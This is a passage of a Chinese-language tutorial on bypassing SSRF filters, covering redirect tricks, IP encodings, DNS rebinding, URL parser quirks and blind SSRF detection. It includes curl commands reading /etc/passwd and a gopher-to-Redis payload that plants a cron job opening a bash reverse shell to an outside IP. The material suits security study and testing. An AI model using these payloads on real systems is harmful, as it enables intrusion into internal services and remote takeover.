http://lvh.me/
http://strikingly.io/
http://imis.qq.com/
http://safe.taobao.com/
http://114.taobao.com/
http://ecd.tencent.com/
http://wifi.aliyun.com/
http://0

添加@绕过

平常我们传入的url是url=http://127.0.0.1:8888,如果
我们传入的url是url=http://qqqqq.com@127.0.0.1:8888,它此时依旧会访问127.0.0.1
image.png

302跳转,dns解析(这种得支持重定向)

网络上存在一个名为sudo.cc的服务,放访问这个服务时,会自动重定向到127.0.0.1
image.png
类似的还有
https://sslip.io/
https://nip.io/
当然自己写也可
比如 302.php

1
2
3
4
5
6
7
8
9
10
11
<?php  
$schema = $_GET['s'];
$ip = $_GET['i'];
$port = $_GET['p'];
$query = $_GET['q'];
if(empty($port)){
header("Location: $schema://$ip/$query");
} else {
header("Location: $schema://$ip:$port/$query");
}

然后访问之

1
2
3
4
5
6
7
8
9
10
11
12
#dict protocol - 探测Redis
dict://127.0.0.1:6379/info
curl -vvv 'http://sec.com:8082/ssrf2.php?url=http://sec.com:8082/302.php?s=dict&i=127.0.0.1&port=6379&query=info'
file protocol - 任意文件读取
curl -vvv 'http://sec.com:8082/ssrf2.php?url=http://sec.com:8082/302.php?s=file&query=/etc/passwd'
#gopher protocol - 一键反弹Bash
注意: gopher跳转的时候转义和`url`入参的方式有些区别
curl -vvv 'http://sec.com:8082/ssrf_only_http_s.php?url=http://sec.com:8082/302.php?s=gopher&i=127.0.0.1&p=6389&query=_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0
a%0a%0a*/1%20*%20*%20*%20*%20bash%20-i%20>&%20/dev/tcp/103.21.140.84/6789%200>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d
%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3
%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a'

利用其他协议绕过

file协议等等,前面有介绍
image.png

利用Enclosed alphanumerics绕过

利用Enclosed alphanumerics
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> http://example.com
List:

1
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

eg:

1
17.0.0.1

linux可行,windows不太行
image.png
image.png

句号替代.绕过

linux可行,win不太行

1
curl -i 12700.1

image.png

省略中间的0

当过滤127.0.0.1整体时,还有一种绕过方式就是省略中间的0,这个时候也是可以访问的
win,linux都可
image.png

进制转换

将127.0.0.1进行转换,转换为其他进制的数从而绕过检测
进制转换结果如下

1
2
3
0177.0.0.1 //八进制
0x7f.0.0.1 //十六进制
2130706433 //十进制

对于这种过滤我们可以采用改编IP的写法的方式进行绕过,例如192.168.0.1这个IP地址我们可以改写成:

1
2
3
4
5
6
192.168.0.1                    
(1)、8进制格式:0300.0250.0.1
(2)、16进制格式:0xC0.0xA8.0.1
(3)、10进制整数格式:3232235521
(4)、16进制整数格式:0xC0A80001

类型原因举例

1
2
3
4
5
点分十进制IP地址:http://216.58.199.78
八进制IP地址:http://0330.0072.0307.0116(将每个十进制数字转换为八进制)
十六进制IP地址:http://0xD83AC74E
http://0xD8.0x3A.0xC7.0x4E(将每个十进制数字转换为十六进制)
整数或DWORD IP地址:http://3627730766(将十六进制IP转换为整数)

也可以利用php转换脚本来直接得到结果,脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$ip = '127.0.0.1';
$ip = explode('.',$ip);
$r = ($ip[0] << 24) | ($ip[1] << 16) | ($ip[2] << 8) | $ip[3] ;
if($r < 0) {
$r += 4294967296;
}
echo "十进制:";
echo $r;
echo "八进制:";
echo decoct($r);
echo "十六进制:";
echo dechex($r);
?>

image.png

特殊0

在windows中,0代表0.0.0.0,而在linux下,0代表127.0.0.1,如下所示
image.png
image.png

用[::]绕过localhost

1
2
http://[::]:80/
http://0000::1:80/

image.png

ipv6

即使目标没有连入IPv6网络,但本地系统、内网通常是支持IPv6的,所以不是说没有IPv6外网IP的目标就不能用IPv6的技巧进行测试。
这个点知道了就差不多懂了

1
curl -i ip6-localhost

image.png
可以看P牛这篇
IPv6 三个访问本地地址的小Tips - 跳跳糖

短网址缩短

本质也是302跳转,没什么好说的
网上有很多将网址转换未短网址的网站。

DNS重绑定

https://lock.cmpxchg8b.com/rebinder.html
http://ceye.io/
dns重绑定这个比较有意思
DNS是Domain Name Service的缩写,计算机域名服务器,在Internet上域名与IP地址之间是一一对应的,域名虽然便于人们记忆,但机器之间只能互相认识IP地址,它们之间的转换工作称为域名解析,而域名解析需要由专门的域名解析服务器来完成,这就是DNS域名服务器。
在网页浏览过程中,用户在地址栏中输入包含域名的网址。浏览器通过DNS服务器将域名解析为IP地址,然后向对应的IP地址请求资源,最后展现给用户。而对于域名所有者,他可以设置域名所对应的IP地址。当用户第一次访问,解析域名获取一个IP地址;然后,域名持有者修改对应的IP地址;用户再次请求该域名,就会获取一个新的IP地址。对于浏览器来说,整个过程访问的都是同一域名,所以认为是安全的。这就造成了DNS 重绑定攻击。
因为用户端会发起两次请求,所有域名持有者可以修改,也即在第一次校验IP的时候返回一个合法的IP,在真实发起请求的时候,返回我们真正想要访问的内网IP即可。

攻击过程

对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就pass掉。
但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间差,利用这个时间差,我们可以进行DNS 重绑定攻击。我们利用DNS Rebinding技术,在第一次校验IP的时候返回一个合法的IP,在真实发起请求的时候,返回我们真正想要访问的内网IP即可。
要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0,这是为了防止有DNS服务器对解析结果进行缓存。这样就可以进行攻击了,完整的攻击流程为:
服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP
对于获得的IP进行判断,发现为非黑名单IP,则通过验证
服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。
DNS重绑定这里简单的说就是我们先提供一个ip,然后在服务端进行解析的过程中再传127.0.0.1,此时就可能会出现访问到本地文件的情况
举个栗子,我们设置一个为127.0.0.1,另一个随便写一下
[image.png
ping这个地址,可以发现有两种情况,一种是1.1.1.14,另一种是127.0.0.1
[image.png
主要是ttl为0问题,阿里云默认大于10min

使用国外服务器进行设置

一些国外的服务器是允许TTL为0的,自行搜索

ceye.io

该网站直接有该功能,可以直接使用

对统一域名设置两个A记录

可以对同一个域名设置两个A记录(一个内网、一个外网),这样会random访问两条记录中的一个。但是随机性比较强,不是一定能成功的,需要多次尝试
Use DNS Rebinding to Bypass SSRF in JAVA - 贫民窟的艺术家
给出大哥的总结

  • Java默认不存在被DNS Rebinding绕过风险(TTL默认为10)
  • PHP默认会被DNS Rebinding绕过
  • Linux默认不会进行DNS缓存

内网dns转发请求被拒绝_浅谈DNS重绑定漏洞_weixin_40003478的博客-CSDN博客

利用不存在的协议头绕过指定的协议头

file_get_contents() 函数的一个特性,即当PHP的 file_get_contents() 函数在遇到不认识的协议头的时候会将整个协议头当作文件夹,造成目录穿越漏洞,这时候只需要不断往上跳转目录即可读取到根目录的文件(include()也有这个特定)
测试代码:

1
2
3
4
5
6
7
8
9
// ssrf.php
<?php
highlight_file(__FILE__);
if(!preg_match('/^https/is',$_GET['url'])){
die("no hack");
}
echo file_get_contents($_GET['url']);
?>

上面的代码限制了 url 只能是以 https 开头的路径,那么我们就可以:

1
httpsssssss:// 1

此时file_get_contents() 函数遇到了不认识的伪协议头 “httpssssssss://”,就会把他当作文件夹,然后再配合目录穿越即可读取文件:

1
2
ssrf.php?url=httpsssss://../../../../../../etc/passwd 
ssrf.php?url=httpsssss://abc../../../../../../etc/passwd

image.png
这个方法可以在SSRF的中众多伪协议被禁止并且只能够使用它规定的某些协议的情况下来进行读取文件

利用URL的解析问题

1
2
3
4
http://127.1.1.1:80\@127.2.2.2:80/
http://127.1.1.1:80\@@127.2.2.2:80/
http://127.1.1.1:80:\@@127.2.2.2:80/
http://127.1.1.1:80#\@127.2.2.2:80/

可以看看,比较CTF了,算。。。
该思路来自Orange Tsai成员在2017 BlackHat 美国黑客大会上做的题为《A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages》的分享,主要是利用 readfile 和 parse_url 函数的解析差异以及 curl 和 parse_url 解析差异来进行绕过哦。

绕过过滤不严格

部分开发喜欢写正则去限制,遇到的问题也比较多,比如最常见的就是只判断内容,比如
baidu.com
baidu.com.hacker.com
还有一些其它的,主要看代码怎么写的了

When TLS Hacks You

还是TTL的问题
SSRF安全指北 - 博客 - 腾讯安全应急响应中心
利用DNS缓存和TLS协议将受限SSRF变为通用SSRF - 先知社区

存储桶回源绕过

这东西和前面的类似
此处使用腾讯云存储桶,设置存储桶为静态网站,再添加回源地址,此处的回源地址会限制不允许内网地址,可以通过先解析为外网地址,然后保存后子再修改解析地址为内网地址,就可以成功设置为内网地址的回源。
使用方法:将可能存在ssrf的位置输入该静态网站地址即可
image.png

SSRF验证

ssrf主要从后面写的出现点找漏洞,白盒主要针对上述危险函数来分析。然后打DNS就可以了。然后看会不会直接返回的Banner、title、content等信息,没有的话注意bool型SSRF。
所以我们根据上述的类型,可以看看验证方法

Basic SSRF

有回显的SSRF比较简单,就不说了,主要看无回显的

Blind SSRF

和上面正好相反,不会返回结果到客户端,简单分个类吧,和sql注入盲注类似。

  • _Boolean-Based:_无论资源是否存在,服务器的回应都是不同的
  • _Error-Based:_例如HTTP(404或500),指示资源是否存在
  • _Time-Based:_如果无论资源是否存在,服务器的响应都保持不变,响应时间可能会有很大差异。

记得面试某银行安全岗,面试官问过我这个问题,答的不怎么样,因为没接触过过,所以思路比较跳,前面说的这三种常见的倒没回答上来,前面三个类型的话,比较和sql注入类似,
首先我们先用DNS测是否有SSRF,或者burpsuit Collaborator Client模块也可以

对于Boolean,可以用来探测端口等等,或者攻击成功失败回显,具体还得看怎么个布尔法
对于Error,也差不多类似,Time的就看响应时间罢了。

然后面试官最后问了我盲注还限制了只能内网,无法使用DNS,这个点的话,怎么办,
我当时想着可以看看能不能对这个网站自己发起请求,比如增删改查什么东西,这样来证明SSRF,或者针对内网服务。
然后还可以内网打payload,根据响应时间来判断内网资产是否存在。
然后就是注意该IP的其他端口,比如不对公网开放的数据库端口,这个具体看你对整个网络的分析,看看有什么攻击链路没有来证明网络是否存在,这个和前面差不多,但可能有时候会比较好利用一些。

具体结合环境,可以看看这篇
Bool型SSRF的思考与实践 - 跳跳糖

其他我也感觉没啥好办法了emmmmm。
SSRF盲打 & Collaborator everywhere_浔阳江头夜送客丶的博客-CSDN博客_adns盲ssrf
https://github.com/1135/notes/blob/master/web_vul_SSRF.md

云中的SSRF

spiderSilk
利用NodeJS SSRF漏洞获取AWS完全控制权限 - 先知社区
亚马逊EC2主机环境:挖掘Node/Express应用上的SSRF漏洞

SSRF出现点

  • 社交分享功能:获取超链接的标题等内容进行显示
  • 转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
  • 在线翻译:给网址翻译对应网页的内容
  • 图片加载/下载:例如富文本编辑器中的点击下载图片到本地、通过URL地址加载或下载图片
  • 图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验
  • 云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
  • 网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
  • 数据库内置功能:数据库的比如mongodb的copyDatabase函数
  • 邮件系统:比如接收邮件服务器地址
  • 编码处理、属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
  • 未公开的api实现以及其他扩展调用URL的功能:可以利用google语法加上这些关键字去寻找SSRF漏洞。一些的url中的关键字有:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……

或者另外一个老哥分享的

  • 分享功能,通过 URL 地址分享网页内容早期分享应用中,为了更好的提供用户体验,WEB应用在分享功能中,通常会获取目标URL地址网页内容中的标签或者标签中content的文本内容作为显示以提供更好的用户体验
  • 转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览由于手机屏幕大小的关系,直接浏览网页内容的时候会造成许多不便,因此有些公司提供了转码功能,把网页内容通过相关手段转为适合手机屏幕浏览的样式。例如百度、腾讯、搜狗等公司都有提供在线转码服务
  • 在线翻译:通过URL地址翻译对应文本的内容。提供此功能的国内公司有百度、有道等
  • 图片加载与下载:通过URL地址加载或下载图片图片加载远程图片地址此功能用到的地方很多,但大多都是比较隐秘,比如在有些公司中的加载自家图片服务器上的图片用于展示。(开发者为了有更好的用户体验通常对图片做些微小调整例如加水印、压缩等,所以就可能造成SSRF问题)
  • 图片、文章收藏功能
    此处的图片、文章收藏中的文章收藏就类似于功能一、分享功能中获取URL地址中title以及文本的内容作为显示,目的还是为了更好的用户体验,而图片收藏就类似于功能四、图片加载
  • 未公开的api实现以及其他调用URL的功能此处类似的功能有360提供的网站评分,以及有些网站通过api获取远程地址xml文件来加载内容。
  • 数据库内置功能:数据库的比如mongodb的copyDatabase函数
  • 邮件系统:比如接收邮件服务器地址
  • 编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
  • 未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞
  • 一些的url中的关键字:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……
  • 从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)
  • web钩子:寻找触发特定事件时发出http请求的服务。在大多数web钩子的功能中,终端用户可以选择他们的终端点和主机名。尝试向内部服务发送http请求。
  • 文档解析器:尝试了解文档是如何被解析的。如果是XML文档,那就是用了PDF生成器方法。对于其他文档,检查是否存在引用外部资源的方法然后通过服务器向内部服务发送请求。
  • 链接扩展: 最近Mark Litchfield在推特扩展链接上发现了漏洞,名声大涨。
  • 文件上传:与常规上传文件相反,尝试发送url请求然后检查是否下载了url的内容。例子
  • PDF生成器:试着注入指向内部服务的